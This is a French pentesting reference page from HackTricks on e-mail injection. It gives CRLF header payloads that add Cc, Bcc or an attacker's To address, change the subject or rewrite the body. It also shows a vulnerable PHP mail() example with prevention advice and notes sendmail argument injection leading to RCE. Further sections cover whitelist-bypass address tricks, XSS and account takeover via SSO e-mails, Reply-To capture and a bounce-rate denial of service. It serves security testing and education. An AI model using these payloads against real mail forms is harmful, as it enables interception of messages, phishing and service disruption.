12 KiB
Injections d'e-mails
Utilisez Trickest pour créer facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? Ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Injecter dans l'e-mail envoyé
Injecter Cc et Bcc après l'argument de l'expéditeur
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
Injecter un argument
L'argument sera injecté dans les comptes du destinataire et du destinataire1.
From:sender@domain.com%0ATo:attacker@domain.com
Le message sera envoyé au destinataire d'origine ainsi qu'au compte de l'attaquant.
Injecter l'argument Sujet
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Le sujet factice sera ajouté au sujet original et dans certains cas, le remplacera. Cela dépend du comportement du service de messagerie.
Modifier le corps du message
Injectez un saut de ligne à deux lignes, puis écrivez votre message pour modifier le corps du message.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
Exploitation de la fonction mail() de PHP
L'exploitation de la fonction mail() de PHP est une technique couramment utilisée pour effectuer des injections d'e-mails malveillantes. Cette vulnérabilité se produit lorsque les données utilisateur ne sont pas correctement filtrées ou validées avant d'être utilisées comme arguments dans la fonction mail().
Injection d'e-mails
L'injection d'e-mails se produit lorsque des données non fiables sont insérées dans les en-têtes de l'e-mail, permettant ainsi à un attaquant d'exécuter du code malveillant ou de manipuler le contenu de l'e-mail. Les injections d'e-mails peuvent être utilisées pour diverses attaques, telles que le phishing, le vol d'informations sensibles ou l'exécution de commandes à distance.
Exemple d'exploitation
Voici un exemple de code vulnérable utilisant la fonction mail() de PHP :
<?php
$to = $_POST['to'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: " . $_POST['from'] . "\r\n";
$headers .= "Reply-To: " . $_POST['reply-to'] . "\r\n";
mail($to, $subject, $message, $headers);
?>
Dans cet exemple, les données utilisateur sont directement utilisées dans les en-têtes de l'e-mail sans aucune validation ou filtrage. Cela permet à un attaquant d'injecter des en-têtes malveillants en exploitant les caractères spéciaux tels que les retours à la ligne.
Prévention
Pour prévenir les injections d'e-mails, il est essentiel de filtrer et de valider toutes les données utilisateur avant de les utiliser dans la fonction mail(). Voici quelques bonnes pratiques à suivre :
- Utilisez des fonctions de validation pour vérifier les adresses e-mail, les sujets et les autres champs pertinents.
- Échappez correctement les caractères spéciaux dans les en-têtes de l'e-mail.
- Limitez les caractères autorisés dans les champs de saisie utilisateur.
- Utilisez des bibliothèques ou des frameworks sécurisés pour gérer l'envoi d'e-mails.
En suivant ces bonnes pratiques, vous pouvez réduire considérablement les risques d'exploitation de la fonction mail() de PHP.
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
Le 5ème paramètre ($additional_parameters)
Cette section va se baser sur comment exploiter ce paramètre en supposant qu'un attaquant le contrôle.
Ce paramètre va être ajouté à la ligne de commande que PHP va utiliser pour invoquer le binaire sendmail. Cependant, il sera nettoyé avec la fonction escapeshellcmd($additional_parameters)
.
Un attaquant peut injecter des paramètres supplémentaires pour sendmail dans ce cas.
Différences dans la mise en œuvre de /usr/sbin/sendmail
L'interface sendmail est fournie par le logiciel de messagerie MTA (Sendmail, Postfix, Exim, etc.) installé sur le système. Bien que la fonctionnalité de base (comme les paramètres -t -i -f) reste la même pour des raisons de compatibilité, d'autres fonctions et paramètres varient considérablement en fonction du MTA installé.
Voici quelques exemples de différentes pages de manuel de la commande/interface sendmail :
- Sendmail MTA : http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA : http://www.postfix.org/mailq.1.html
- Exim MTA : https://linux.die.net/man/8/eximReferences
Selon l'origine du binaire sendmail, différentes options ont été découvertes pour les exploiter et exfiltrer des fichiers ou même exécuter des commandes arbitraires. Découvrez comment dans https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
Injection dans le nom de l'e-mail
Parties ignorées d'un e-mail
Les symboles : +, - et {} peuvent parfois être utilisés pour le marquage et ignorés par la plupart des serveurs de messagerie
- Par exemple : john.doe+intigriti@example.com → john.doe@example.com
Les commentaires entre parenthèses () au début ou à la fin seront également ignorés
- Par exemple : john.doe(intigriti)@example.com → john.doe@example.com
Contournement de la liste blanche
Guillemets
Adresses IP
Vous pouvez également utiliser des adresses IP comme noms de domaine entre crochets :
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
Autres vulnérabilités
SSO tiers
XSS
Certains services comme github ou **salesforce vous permettent de créer une adresse e-mail avec des charges XSS. Si vous pouvez utiliser ces fournisseurs pour vous connecter à d'autres services et que ces services ne nettoient pas correctement l'e-mail, vous pourriez provoquer une XSS.
Prise de contrôle de compte
Si un service SSO vous permet de créer un compte sans vérifier l'adresse e-mail fournie (comme salesforce) et que vous pouvez ensuite utiliser ce compte pour vous connecter à un autre service qui fait confiance à salesforce, vous pourriez accéder à n'importe quel compte.
Notez que salesforce indique si l'e-mail fourni a été vérifié ou non, mais l'application devrait tenir compte de cette information.
Répondre à
Vous pouvez envoyer un e-mail en utilisant From: company.com** ** et Replay-To: attacker.com et si une réponse automatique est envoyée en raison de l'envoi de l'e-mail à partir d'une adresse interne, l'attaquant pourrait être en mesure de recevoir cette réponse.
Taux de rebond élevé
Certaines applications comme AWS ont un taux de rebond élevé (chez AWS, il est de 10%), ce qui signifie que lorsque le service de messagerie est surchargé, le service d'e-mails est bloqué.
Un rebond dur est un e-mail qui n'a pas pu être livré pour des raisons permanentes. Peut-être que l'adresse e-mail est fausse, peut-être que le domaine de l'e-mail n'est pas un vrai domaine, ou peut-être que le serveur du destinataire de l'e-mail n'accepte pas les e-mails), cela signifie que sur un total de 1000 e-mails, si 100 d'entre eux étaient faux ou invalides et ont tous rebondi, AWS SES bloquera votre service.
Ainsi, si vous êtes capable d'envoyer des e-mails (peut-être des invitations) depuis l'application web vers n'importe quelle adresse e-mail, vous pourriez provoquer ce blocage en envoyant des centaines d'invitations à des utilisateurs et des domaines inexistants : Déni de service du service de messagerie.
Références
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}